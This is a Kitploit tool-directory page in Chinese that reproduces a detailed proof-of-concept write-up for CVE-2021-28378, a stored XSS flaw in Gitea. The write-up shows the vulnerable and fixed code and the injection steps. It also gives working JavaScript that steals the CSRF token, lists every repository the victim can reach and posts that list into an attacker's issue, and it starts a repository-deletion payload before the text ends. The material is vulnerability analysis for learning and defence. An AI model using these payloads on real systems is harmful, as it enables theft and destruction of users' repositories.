Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-28378 — CVE-2021-28378 的详细概念验证与分析,这是 Gitea 中的一个存储型 XSS 漏洞,可通过 git hooks 实现任意代码注入、权限提升和远程代码执行。 | Kitploit
工具/GitHubGitHub/pandatix/cve-2021-28378
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubpandatix/cve-2021-28378

CVE-2021-28378

CVE-2021-28378 的详细概念验证与分析,这是 Gitea 中的一个存储型 XSS 漏洞,可通过 git hooks 实现任意代码注入、权限提升和远程代码执行。

查看仓库
4148个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-28378

有关此 CVE 的详细信息见此处。

此 CVE 针对的是从服务器获取的内容在客户端缺少字符串转义的问题。 它使攻击者能够通过在 issue 或拉取请求上创建评论,轻松注入任意代码。 该问题是在提交 7d7ab1eeae43d99fe329878ac9c8db5e45e2dee5 中引入的,时间大约是 2020 年 1 月底,但由于是一次 squash 合并,我们无法准确知道是谁引入了该问题,从而无法调查是否还引入了类似的 bug。

首先,让我们了解这个漏洞的来源。为此,请看修复此 CVE 的提交。

修复前:

  • 第一个:
    labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
  • 第二个:
    html: `
<div>
    <p><small>${issue.repository.full_name} on ${createdAt}</small></p>
    <p><span class="${color}">${svg(octicon)}</span> <strong>${issue.title}</strong> #${index}</p>
    <p>${body}</p>
    ${labels}
</div>
`

我们可以看到,label.name、issue.repository.full_name、issue.title 和 body 都没有进行 HTML 转义,而这些字符串是用户可以操纵的,因此可以注入任意代码。 注意,issue.repository.full_name 实际上很难被操纵以注入代码,因为它必须遵守太多规则([\w._-]+),我们无法借助此 CVE 绕过。 这正是该 PR 通过将它们转换为 htmlEscape 来修复的内容。

修复后:

  • 第一个:
    labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${htmlEscape(label.name)}</div>`;
  • 第二个:
    html: `
<div>
    <p><small>${htmlEscape(issue.repository.full_name)} on ${createdAt}</small></p>
    <p><span class="${color}">${svg(octicon)}</span> <strong>${htmlEscape(issue.title)}</strong> #${index}</p>
    <p>${htmlEscape(body)}</p>
    ${labels}
</div>
`

理解漏洞

让我们快速看一下文件 web_src/js/features/contextpopup.js,弄清楚如何触发此 CVE。

...
const {AppSubUrl} = window.config;

export default function initContextPopups() {
  const refIssues = $('.ref-issue');
  if (!refIssues.length) return;

  refIssues.each(function () {
    const [index, _issues, repo, owner] = $(this).attr('href').replace(/[#?].*$/, '').split('/').reverse();
    issuePopup(owner, repo, index, $(this));
  });
}

function issuePopup(owner, repo, index, $element) {
  $.get(`${AppSubUrl}/api/v1/repos/${owner}/${repo}/issues/${index}`, (issue) => {
...
    for (let i = 0; i < issue.labels.length; i++) {
...
      labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
    }
...

    $element.popup({
      variation: 'wide',
      delay: {
        show: 250
      },
      html: `
<div>
  <p><small>${issue.repository.full_name} on ${createdAt}</small></p>
  <p><span class="${color}">${svg(octicon, 16)}</span> <strong>${issue.title}</strong> #${index}</p>
  <p>${body}</p>
  ${labels}
</div>
`
    });
  });
}

我们在这里看到的是,对于每个带有 ref-issue 类的节点,都会添加一个存在漏洞的弹出框。 现在,我们需要找到 ref-issue 在何处被发送给用户:让我们 grep 一下(只保留有意义的结果,排除测试文件或类似文件)! 下面的提交号对应于 1.12.4 标签,即官方 docker-compose.yml 文件中的默认版本,该版本受此 CVE 影响。

cd gitea
git checkout 8a51c48eb6367513e0518bcd412e64f6cbfe5e1a
grep -r ref-issue

modules/markup/html.go:		replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
modules/markup/html.go:		replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
modules/markup/html.go:		link = createLink(com.Expand(ctx.metas["format"], ctx.metas), reftext, "ref-issue")
modules/markup/html.go:			link = createLink(util.URLJoin(setting.AppURL, ctx.metas["user"], ctx.metas["repo"], path, ref.Issue), reftext, "ref-issue")
modules/markup/html.go:			link = createLink(util.URLJoin(setting.AppURL, ref.Owner, ref.Name, path, ref.Issue), reftext, "ref-issue")
modules/markup/sanitizer.go:	sanitizer.policy.AllowAttrs("class").Matching(regexp.MustCompile(`ref-issue`)).OnElements("a")

我们现在知道没有带 ref-issue 类的静态内容,它是动态生成的。 最后一行并不有趣,因为它只是一个消毒策略规则。其他几行很有趣,我们来看看为什么。

让我们深入 modules/markup/html.go。

func fullIssuePatternProcessor(ctx *postProcessCtx, node *html.Node) {
	if ctx.metas == nil {
		return
	}
	m := getIssueFullPattern().FindStringSubmatchIndex(node.Data)
	if m == nil {
		return
	}
	link := node.Data[m[0]:m[1]]
	id := "#" + node.Data[m[2]:m[3]]

	// extract repo and org name from matched link like
	// http://localhost:3000/gituser/myrepo/issues/1
	linkParts := strings.Split(path.Clean(link), "/")
	matchOrg := linkParts[len(linkParts)-4]
	matchRepo := linkParts[len(linkParts)-3]

	if matchOrg == ctx.metas["user"] && matchRepo == ctx.metas["repo"] {
		// TODO if m[4]:m[5] is not nil, then link is to a comment,
		// and we should indicate that in the text somehow
		replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))

	} else {
		orgRepoID := matchOrg + "/" + matchRepo + id
		replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
	}
}

我们还需要理解 getIssueFullPattern 做了什么。

func getIssueFullPattern() *regexp.Regexp {
	if issueFullPattern == nil {
		appURL := setting.AppURL
		if len(appURL) > 0 && appURL[len(appURL)-1] != '/' {
			appURL += "/"
		}
		issueFullPattern = regexp.MustCompile(appURL +
			`\w+/\w+/(?:issues|pulls)/((?:\w{1,10}-)?[1-9][0-9]*)([\?|#]\S+.(\S+)?)?\b`)
	}
	return issueFullPattern
}

让我们总结一下,理解这里做了哪些工作。

在 fullIssuePatternProcessor 中,首先需要确保 ctx.metas 不是 nil(我们假设它是非 nil 的,因为它是由调用栈中更高级的函数/方法构建的)。 然后我们检查节点数据是否匹配类似于 http://mygitea.com/gituser/myrepo/issues/1 的路径。如果匹配,我们就将其替换为一个链接。 如果该链接指向相同的用户和仓库,则替换为 #<issue_id> 模式,否则替换为 <user>/<repo>#<issue_id>。 在这两种情况下,都会添加 ref-issue 类来生成弹出框。

其他 grep 结果也做了类似的事情。

开始动手!

现在我们有了上下文,即把类似 http://mygitea.com/gituser/myrepo/issues/1 的链接替换为更短的链接,就可以推断出这种替换发生在哪里:在 issue 和 PR 中,你可以在那里添加标签和/或发表评论。

为此,假设你有一个具有写权限的仓库。

标签

转到你的仓库,创建一个名称中包含任意代码的新标签(例如 <script>alert('label.name')</script>)。

Issue

转到你的仓库的 issues,创建一个标题和正文中包含任意代码的新 issue,并给它添加上述标签。

执行一些代码

在任何仓库上创建一个新 issue,并在其正文中添加指向你注入的 issue 的链接,例如 http://mygitea.com/gituser/myrepo/issues/1。 它会被替换为我们之前看到的链接,当有人将鼠标悬停在该链接上时,任意代码就会运行:会显示一个嵌入 label.name 的弹出框。

利用时间

CVE-2021-28378 已被证明能够实现任意代码注入。 让我们想象一下攻击者可以做什么。

在 Gitea 上,有一个 CSRF token,它在填写表单和/或调用 API 时验证你的身份,防止诸如嵌入 Gitea iframe 来窃取你的访问权限之类的安全问题。 CSRF token 存储在你的 cookie(_csrf)中,但也存储在用户访问的几乎所有网页(除了诸如 /api/v1/swagger 等少数页面)的某些字段中……包括 issue/PR 网页。 其中包含它的最有趣的字段位于 HTML 页面的公共头部区域中,XPath 始终相同:/html/head/meta[9]。

有了这些数据,我们就可以通过简单地用 JS 获取 CSRF token(代码如下),从任何受我们 payload 影响的用户发送经过身份验证的操作:(document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content。

现在,是时候发挥你的创造力来构建各种攻击了。 请注意,你的操作会受到限制,但也不会太多:

  • label.name 和 issue.title 必须很短,因此容纳不了太多 payload。不过,你可以注入带有 src 属性的 script,引用任何你想要的脚本;
  • body 的长度不受限制,但弹出框的预览限制了数据预览。如果你希望 payload 被触发,它必须位于开头。不过,你也可以像前面提到的那样使用带有 src 属性的 script。

让我们看看你可以构建的一些示例。

获取用户的所有仓库

想象一下这样的场景:攻击者想要获取你有权访问的所有仓库。这证明该攻击可以破坏你的全部机密性。 此攻击分 3 步完成:

  • 窃取 CSRF token;
  • 获取仓库列表;
  • 创建一个包含上一步原始 JSON 内容的新工单。

让我们编写一些 JS 代码来实现:

var AppURL = "http://mygitea.com";
var HackerRepo = "/hacker/mysaferepo"

var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;

var xhrGet = new XMLHttpRequest();
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
    if (xhrGet.readyState === XMLHttpRequest.DONE) {
        var xhrPost = new XMLHttpRequest();
        xhrPost.open("POST", AppURL + HackerRepo + "/issues/new", true);
        xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xhrPost.send("_csrf=" + CSRF + "&title=Title&content=" + xhrGet.responseText);
    }
}
xhrGet.send(null);

将此 payload 放在单独的文件中,上传到你的仓库,并通过类似 <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script> 的方式将其注入 issue 正文中。

现在,攻击者可以评论引用此注入 issue 的 issue/PR,当有人将鼠标悬停在该链接上时,他的所有仓库数据就会被攻击者窃取!

删除用户有权访问的所有仓库

想象一下这样的场景:攻击者想要删除你有权访问的所有仓库。这证明该攻击可以破坏你的全部完整性。 此攻击分 3 步完成:

  • 窃取 CSRF token;
  • 获取仓库列表;
  • 对每个仓库执行删除操作(至少尝试)。

让我们编写一些 JS 代码来实现:

var AppURL = "http://mygitea.com";
下载工具